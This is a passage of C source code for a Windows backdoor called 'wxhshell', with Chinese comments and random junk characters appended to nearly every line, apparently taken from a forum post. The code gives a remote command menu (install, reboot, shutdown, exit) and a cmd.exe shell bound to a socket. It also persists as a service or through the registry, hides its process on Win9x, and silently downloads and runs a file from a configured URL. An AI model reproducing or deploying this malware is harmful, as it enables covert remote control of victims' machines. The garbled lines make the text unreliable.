  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pa# IJ  
  } bcYF\@};  
  else { XcjRO#s\  
0L/n?bf  
    switch(cmd[0]) { CvD "sHVq%  
  q|),`.eh\  
  // 帮助 Q@HopiC  
  case '?': { eow'K 821A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )vSRHE  
    break; LEtG|3Dx  
  } k`N^Vdr  
  // 安装 5s]. @C8  
  case 'i': { >:b Q  
    if(Install()) @/31IOIV]`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OE-gC2&Bm  
    else ~Rr~1I&mR,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3p'I5,}  
    break; Cid ;z  
    } GmP@;[H"  
  // 卸载 8Q'0h m?  
  case 'r': { 1Yn +<I  
    if(Uninstall()) S.f5v8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pjc Tx +  
    else .qZI$ l .  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f=9|b  
    break; >j QWn@  
    } .*)2SNH  
  // 显示 wxhshell 所在路径 Dbz3;t  
  case 'p': { ^t#&@-'(d  
    char svExeFile[MAX_PATH]; $\U 4hHOo  
    strcpy(svExeFile,"\n\r"); c-0#w=  
      strcat(svExeFile,ExeFile); 55fC~J<  
        send(wsh,svExeFile,strlen(svExeFile),0); ^=-y%kp"  
    break; Sb82}$sO  
    } {.INnFGP@)  
  // 重启 Qr{E[6  
  case 'b': { @nCd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +csi[c)3E  
    if(Boot(REBOOT)) #%h-[/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #e$5d>j(  
    else { *vwbgJG! *  
    closesocket(wsh); 73\JwOn~  
    ExitThread(0); >: g3k  
    } R)m'lMi|  
    break; \r+8qC[,  
    } +O?KNZ  
  // 关机 7](KV"%V  
  case 'd': { Xx>X5Fy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OL^l 3F  
    if(Boot(SHUTDOWN)) V: TM]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L bmawi^  
    else { JVSA&c%3  
    closesocket(wsh); ybKWOp:O  
    ExitThread(0); "[ZB+-|[0  
    } /x p|  
    break; }xh$T'M8  
    } :BV6y|J9O^  
  // 获取shell B e0ND2oo  
  case 's': { _dhgAx-H)h  
    CmdShell(wsh); 9j6QX ~,  
    closesocket(wsh); )O@]uY  
    ExitThread(0); |}di&y@-JI  
    break; NdD`Hn -  
  } z)r =+ -  
  // 退出 E;R n`oxk  
  case 'x': { fUA uqfj[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1`qMj0Y_  
    CloseIt(wsh); IvtJ0  
    break; 4p,EBn9(  
    } '|8} z4/g  
  // 离开 GE%Z9#E  
  case 'q': { P 'od`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ud'-;W  
    closesocket(wsh); "4{LN}`  
    WSACleanup(); ^Dn D>h@q  
    exit(1); F7EKoDt  
    break; [R^i F  
        } Ay0U=#XP  
  } WGZ9B^A  
  }  jYmR  
n|RJ;d30Q  
  // 提示信息 sl`s_$J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~lsl@  
} g'n7T|h ~  
  } Sp;G'*g  
Vg>dI&O  
  return; ic#`N0s?  
} VKG&Y_7N  
8h*Icf  
// shell模块句柄 'R'*kxf  
int CmdShell(SOCKET sock) V8C:"UZ;  
{ /)}q Xx&  
STARTUPINFO si; ($;77fPR  
ZeroMemory(&si,sizeof(si)); `-J%pEIza  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TE7nJ gm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L>aLqQ3  
PROCESS_INFORMATION ProcessInfo; _ 4U5  
char cmdline[]="cmd"; ?kH8Lw~{5W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DpvI[r//'*  
  return 0; L(|N[#  
} e]$}-i@#  
1Vrh4g.l  
// 自身启动模式 QLvHQtzwX  
int StartFromService(void) ?R$F)g7<  
{ qzKdQ&vO  
typedef struct 2db3I:;E  
{ ZQ%'`q\c  
  DWORD ExitStatus;  ~- _kM  
  DWORD PebBaseAddress; 2a`o &S  
  DWORD AffinityMask; L\xk:j1[  
  DWORD BasePriority; Ez fN&8E  
  ULONG UniqueProcessId; KyYMfC  
  ULONG InheritedFromUniqueProcessId; gM u"2I5  
}   PROCESS_BASIC_INFORMATION; t!W(_8j  
p93r'&Q  
PROCNTQSIP NtQueryInformationProcess; #*K}IBz  
!Sh&3uy_qN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i1NY9br  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D%OQ e#!  
|y!=J$ $_H  
  HANDLE             hProcess; /v1Q4mq  
  PROCESS_BASIC_INFORMATION pbi; CY s,`  
fzb29 -  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 93("oBd[s(  
  if(NULL == hInst ) return 0; [65 `$x-  
~962i#&4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QkEvw<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `1$@|FgyC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "55skmD.P  
RI 5yF  
  if (!NtQueryInformationProcess) return 0; =[cS0Sy  
(|:M&Cna]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vNV/eB8#S  
  if(!hProcess) return 0; `.~N4+SP  
v &Yi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ai=s e2  
Pq;U &,  
  CloseHandle(hProcess); )wam8k5  
fTS5 yb%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  *'.|9W  
if(hProcess==NULL) return 0; `scR*]f1+  
q<[P6}.  
HMODULE hMod; zZPuha8  
char procName[255]; e6R}0w~G  
unsigned long cbNeeded; _~IR6dKE  
"7'J &^|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R_W+Ylob  
n'wU;!W9  
  CloseHandle(hProcess); =n5zM._S-  
8_BV:o9kL  
if(strstr(procName,"services")) return 1; // 以服务启动 J>wt (] y  
NO "xL,  
  return 0; // 注册表启动 9YIM'q>`v  
} :~e>Ob[,"  
R]c+?4J  
// 主模块 ov ` h  
int StartWxhshell(LPSTR lpCmdLine) p Dx1z|@z  
{ &=Ar  
  SOCKET wsl; :mh_G  
BOOL val=TRUE; m4hX 'F  
  int port=0; E4`N-3  
  struct sockaddr_in door; -LK B$   
TyD4|| %  
  if(wscfg.ws_autoins) Install(); !"HO]3-o  
!;&p"E|b#  
port=atoi(lpCmdLine); R]}}$R`j  
]i&6c  
if(port<=0) port=wscfg.ws_port; dt \TQJc~  
twL3\ }N/B  
  WSADATA data; <k eVrCR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nhB1D-  
b#uL?f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @| M|+k3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @Lpq~ 1eZB  
  door.sin_family = AF_INET; \\PjKAsh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $UMFNjL  
  door.sin_port = htons(port); [w>$QR  
1-%fo~!l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a,@]8r-"  
closesocket(wsl); ~("5y G  
return 1; YIn',]p:  
} ;(f) &Yom  
X[*<NN  
  if(listen(wsl,2) == INVALID_SOCKET) { 0Is,*Srr  
closesocket(wsl); a]JYDq`,3  
return 1; BWeA@v  
} RkH W   
  Wxhshell(wsl); x[wq]q#*  
  WSACleanup(); `slL %j^"  
Yl4^AR&  
return 0; M>wYD\oeg  
nOt&pq7  
} zvYq@Mhr  
yh Yb'GK  
// 以NT服务方式启动 MW! srTQ_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7L`A{L  
{ )IP,;<  
DWORD   status = 0; Pu7_ v  
  DWORD   specificError = 0xfffffff; F3N?Nk/  
4,bv)Im+ `  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^ZvWR%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sv: 9clJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nno}e/zqf  
  serviceStatus.dwWin32ExitCode     = 0; 6LOnU~l,  
  serviceStatus.dwServiceSpecificExitCode = 0; &vo--V1|  
  serviceStatus.dwCheckPoint       = 0; 9v;Vv0k_  
  serviceStatus.dwWaitHint       = 0; u!!Y=!y*<  
I?h)OvWd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~+Rc }K  
  if (hServiceStatusHandle==0) return; R+2+-j4  
y~Bh  
status = GetLastError(); *"+=K,#D  
  if (status!=NO_ERROR) #zG&|<hc  
{ 6.CbAi3Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gQo]  
    serviceStatus.dwCheckPoint       = 0; )#BMTKA^  
    serviceStatus.dwWaitHint       = 0; &v$rn#l  
    serviceStatus.dwWin32ExitCode     = status; TC @s  
    serviceStatus.dwServiceSpecificExitCode = specificError; \a5U8shc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]9YJ,d@J  
    return; $yn];0$J  
  } 8UW^"4  
J ][T"K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q-  
  serviceStatus.dwCheckPoint       = 0; HKU~UTRnZ  
  serviceStatus.dwWaitHint       = 0; nim*/LC[:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3p3 9`"~  
} ~k\fhx  
zjJ *n8l  
// 处理NT服务事件,比如:启动、停止 9E zj"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j5K]CTz#  
{ UR%/MV  
switch(fdwControl) ?+_Gs;DGVE  
{ 8qY79)vD4E  
case SERVICE_CONTROL_STOP: %b%-Ogz;4  
  serviceStatus.dwWin32ExitCode = 0; >z/#_z@LV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r;B8i!gD  
  serviceStatus.dwCheckPoint   = 0; \.C +ue  
  serviceStatus.dwWaitHint     = 0; TlXI|3Ip  
  { =+/eLKG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &Lt}=3G  
  } t#Z-mv:(  
  return; =@m &s^R  
case SERVICE_CONTROL_PAUSE: {v=T [D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vX{J' H]u  
  break; J5di[nu  
case SERVICE_CONTROL_CONTINUE: gi(H]|=a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NgADKrDU  
  break; *?Lv3}E  
case SERVICE_CONTROL_INTERROGATE: (*Z)(O*z  
  break; '[U8}z3  
}; {\S+#W\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m`v2: S}  
} JI?rL  
I, -hf=-  
// 标准应用程序主函数 VLS0XKI)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V `b2TS  
{ M3J#'%$  
?HTj mIb  
// 获取操作系统版本 :?k>HQe  
OsIsNt=GetOsVer(); &)8:h+&Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *'OxAfa#x  
u\E?Y[1  
  // 从命令行安装 b o0^3]Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); LUG;(Fko  
Gn\_+Pj$  
  // 下载执行文件 Fgkajig  
if(wscfg.ws_downexe) { [OjF[1I)u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?5U2D%t  
  WinExec(wscfg.ws_filenam,SW_HIDE);  +EFgE1w  
} -u&6X,Oq\u  
9:fOYT$8  
if(!OsIsNt) { B.wYHNNV  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q~814P8]  
HideProc(); FqkDKTS\&  
StartWxhshell(lpCmdLine); `sUZuWL_  
} wHsYF`  
else 3Vsc 9B"w  
  if(StartFromService()) #hW;Ju73  
  // 以服务方式启动 nIAx2dh?  
  StartServiceCtrlDispatcher(DispatchTable); 8yRJD[/S  
else r>dwDBE  
  // 普通方式启动 6Se?sHC>  
  StartWxhshell(lpCmdLine); fXXr+Mor  
* "R|4"uy  
return 0; 2Gz}T _e  
}
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只看该作者 1 发表于: 2006-10-10
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